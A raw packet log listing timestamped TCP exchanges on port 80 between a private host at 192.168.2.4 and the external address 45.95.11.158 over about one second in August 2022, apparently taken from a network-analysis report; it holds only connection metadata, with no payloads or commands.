Aug 23, 2022 03:42:59.924238920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924252033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924293041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924325943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924381971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924396038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924448967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924473047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924504995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924542904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924597025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924609900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924650908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924684048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924741983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924756050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924803019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924828053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924890041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924912930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.924974918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.924994946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925054073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925075054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925137997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925162077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925204039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925241947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925302029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925328970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925424099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925452948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925507069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925539017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925582886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925648928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925678968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925753117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925769091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925818920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925870895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.925920010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925937891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.925971031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926039934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926055908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926096916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926132917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926198959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926213980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926273108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926326990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926350117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926373005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926439047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926457882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926497936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926537037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926599026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926625013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926667929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926703930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926769972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926785946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926830053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926865101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926930904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.926945925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.926992893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927031040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927088976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927109957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927167892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927191973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927248955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927270889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927330971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927380085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927448034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927475929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927511930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.927551031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.927608967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.936707020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.936777115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.936815023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.936832905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.936878920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.936928988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.936942101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.936971903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937002897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937052011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937064886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937093019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937114954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937154055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937172890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937192917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937230110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937268019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937287092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937314987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937344074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937400103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937418938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937469959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937501907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937546968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937578917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937623978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937683105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937769890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937778950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937788010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937846899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937876940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937896967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937923908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.937956095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.937995911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938020945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938081980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938097000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938139915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938163996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938215971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938229084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938268900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938287020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938314915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938344955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938374043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938395023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938416958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938453913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938503981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938517094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938550949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938577890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938618898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938666105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938677073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938724041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938736916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938769102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938811064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938827991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.938865900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938884020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.938934088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939002037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939014912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.939069986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939083099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.939117908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.939142942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939191103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939202070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.939232111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.939258099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939285994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.939308882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.939327002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.944703102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.944742918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.944777966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.944801092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.944840908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.944889069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.944905996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.944933891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.944987059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945029020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945044994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945071936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945091963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945137024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945148945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945179939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945208073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945254087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945265055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945301056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945313931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945346117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945370913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945415974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945430040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945457935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945487976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945517063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945533991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945565939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945594072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945640087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945652008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945683956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945709944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945739031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945758104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945787907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945816994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945863008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945873976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945905924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.945933104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945960999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.945976019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946006060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946036100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946077108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946127892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946167946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946187973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946217060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946238995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946261883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946296930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946343899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946355104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946388006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946435928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946479082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946500063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946552992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946584940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946645975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946671009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946707010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946754932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946803093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946815968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946858883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.946923018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946970940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.946981907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.947016001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.947040081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.947067976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.947084904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.947113991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.968946934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.968986988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969012022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969032049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969082117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969110966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969144106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969168901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969192028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969196081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969199896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969202995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969221115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969247103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969266891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969290018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969297886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969321966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969333887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969351053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969362020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969389915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969444990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969469070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969485998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969511986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969556093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969573975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969594955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969609976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969754934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969788074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969806910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969829082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969852924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969877005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969908953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969918013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.969933987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969968081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.969983101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970014095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970029116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970052958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970071077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970093012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970113993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970144033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970155954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970185041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970201015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970222950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970241070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970263004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970326900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970365047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970381021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970408916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970422983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970451117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970464945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970491886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970655918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970691919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970706940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970741034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970758915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970783949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970803022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970824957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970871925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970906973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970922947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.970958948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.970983982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971004009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971014023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971045971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971067905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971113920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971127033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971158028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971184015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971215010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971231937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971256971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971302986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971371889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971385002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971419096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971456051 CEST	80	49743	45.95.11.158	192.168.2.4
